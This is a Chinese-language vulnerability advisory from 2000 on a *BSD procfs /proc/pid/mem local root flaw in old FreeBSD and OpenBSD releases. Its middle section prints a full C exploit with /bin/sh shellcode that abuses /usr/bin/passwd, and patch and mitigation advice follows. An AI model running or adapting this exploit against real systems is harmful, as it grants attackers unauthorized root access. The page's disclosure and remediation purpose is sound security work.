首页 -> 安全研究

安全研究

安全漏洞
*BSD procfs文件系统漏洞

发布日期:2000-01-24
更新日期:2000-01-24

受影响系统:
FreeBSD 2.8/3.0/3.3
OpenBSD 2.4/2.5/2.6
描述:

    *BSD procfs代码中的一个可获取本地root权限的严重漏洞早在1997年1月就在许多安全论坛中被广泛讨论。攻击代码利用的是/proc/pid/mem存取漏洞,因此新的*BSD内核包含了一个简单的补丁用于修补这个漏洞。
    然而不幸的是,经过整整三年后/proc/pid/mem依然存在类似问题,虽然需要更复杂的技巧,但是仍然能在本地获取root权限。
    这个漏洞存在于目前(和几乎以前所有的)FreeBSD和OpenBSD发行版本的内核中。为了利用这个严重的漏洞,procfs文件系统必须被安装。在FreeBSD 3.3缺省安装的配置中procfs是被安装的;在OpenBSD 2.6缺省安装的配置中procfs则未被安装。但是由于procfs提供了很好的管理特性,管理员几乎总是会安装procfs文件系统。
    攻击流程原理类似:

' close(fileno(stderr)); execl("setuid-program",...) '

    但实际上整个过程要复杂得多。这个漏洞攻击的根源在于,指向procfs的文件描述符fd的属性并不完全由系统调用"open"的参数确定(其它的文件描述符的属性则完全由"open"的参数确定)。特权代码的执行能够修改该文件描述符的属性。也就是说,(suid特权)进程P的子进程(也具有suid特权)能够继承一个可读写的文件描述符fd,虽然父进程P无法通过系统调用直接获得这种权限的文件描述符。
    下面的实例代码(Intel平台)利用了/usr/bin/passwd,然而几乎任何setuid程序都可被利用。本程序在FreeBSD 2.8/3.0/3.3和OpenBSD 2.4/2.5/2.6上测试通过。攻击代码用一个存放在环境变量中的shellcode地址覆盖堆栈的返回地址,从而在setuid root程序调用返回时获得root shell。
    程序需要两个参数:一个是当前堆栈指针的偏移量,另一个是shellcode地址的偏移量。



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


/* by Nergal */
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#include <sys/wait.h>

char            shellcode[] =
"\xeb\x0a\x62\x79\x20\x4e\x65\x72\x67\x61\x6c\x20"
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04\x00";

#define PASSWD "./passwd"
void
sg(int x)
{
}
int
main(int argc, char **argv)
{
unsigned int stack, shaddr;
int             pid,schild;
int             fd;
char            buff[40];
unsigned int    status;
char            *ptr;
char            name[4096];
char sc[4096];
char            signature[] = "signature";

signal(SIGUSR1, sg);
if (symlink("usr/bin/passwd",PASSWD) && errno!=EEXIST)
{
perror("creating symlink:");
exit(1);
}
shaddr=(unsigned int)&shaddr;
stack=shaddr-2048;
if (argc>1)
shaddr+=atoi(argv[1]);
if (argc>2)
stack+=atoi(argv[2]);
fprintf(stderr,"shellcode addr=0x%x stack=0x%x\n",shaddr,stack);
fprintf(stderr,"Wait for \"Press return\" prompt:\n");
memset(sc, 0x90, sizeof(sc));
strncpy(sc+sizeof(sc)-strlen(shellcode)-1, shellcode,strlen(shellcode));
strncpy(sc,"EGG=",4);
memset(name,'x',sizeof(name));
for (ptr = name; ptr < name + sizeof(name); ptr += 4)
*(unsigned int *) ptr = shaddr;
name[sizeof(name) - 1] = 0;

pid = fork();
switch (pid) {
case -1:
perror("fork");
exit(1);
case 0:
pid = getppid();
sprintf(buff, "/proc/%d/mem", pid);
fd = open(buff, O_RDWR);
if (fd < 0) {
perror("open procmem");
wait(NULL);
exit(1);
}
/* wait for child to execute suid program */
kill(pid, SIGUSR1);
do {
lseek(fd, (unsigned int) signature, SEEK_SET);
} while
(read(fd, buff, sizeof(signature)) == sizeof(signature) &&
!strncmp(buff, signature, sizeof(signature)));
lseek(fd, stack, SEEK_SET);
switch (schild = fork()) {
case -1:
perror("fork2");
exit(1);
case 0:

dup2(fd, 2);
sleep(2);
execl(PASSWD, name, "blahblah", 0);
printf("execl failed\n");
exit(1);
default:
waitpid(schild, &status, 0);
}
fprintf(stderr, "\nPress return.\n");
exit(1);
default:
/* give parent time to open /proc/pid/mem */
pause();
putenv(sc);
execl(PASSWD, "passwd", NULL);
perror("execl");
exit(0);

}
}



建议:

    1、下载安全补丁并安装:
       http://www.openbsd.org/errata.html#procfs
       ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch

    2、卸载(umount)procfs文件系统,并在/etc/fstab文件中去掉procfs的安装项。



浏览次数:6690
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障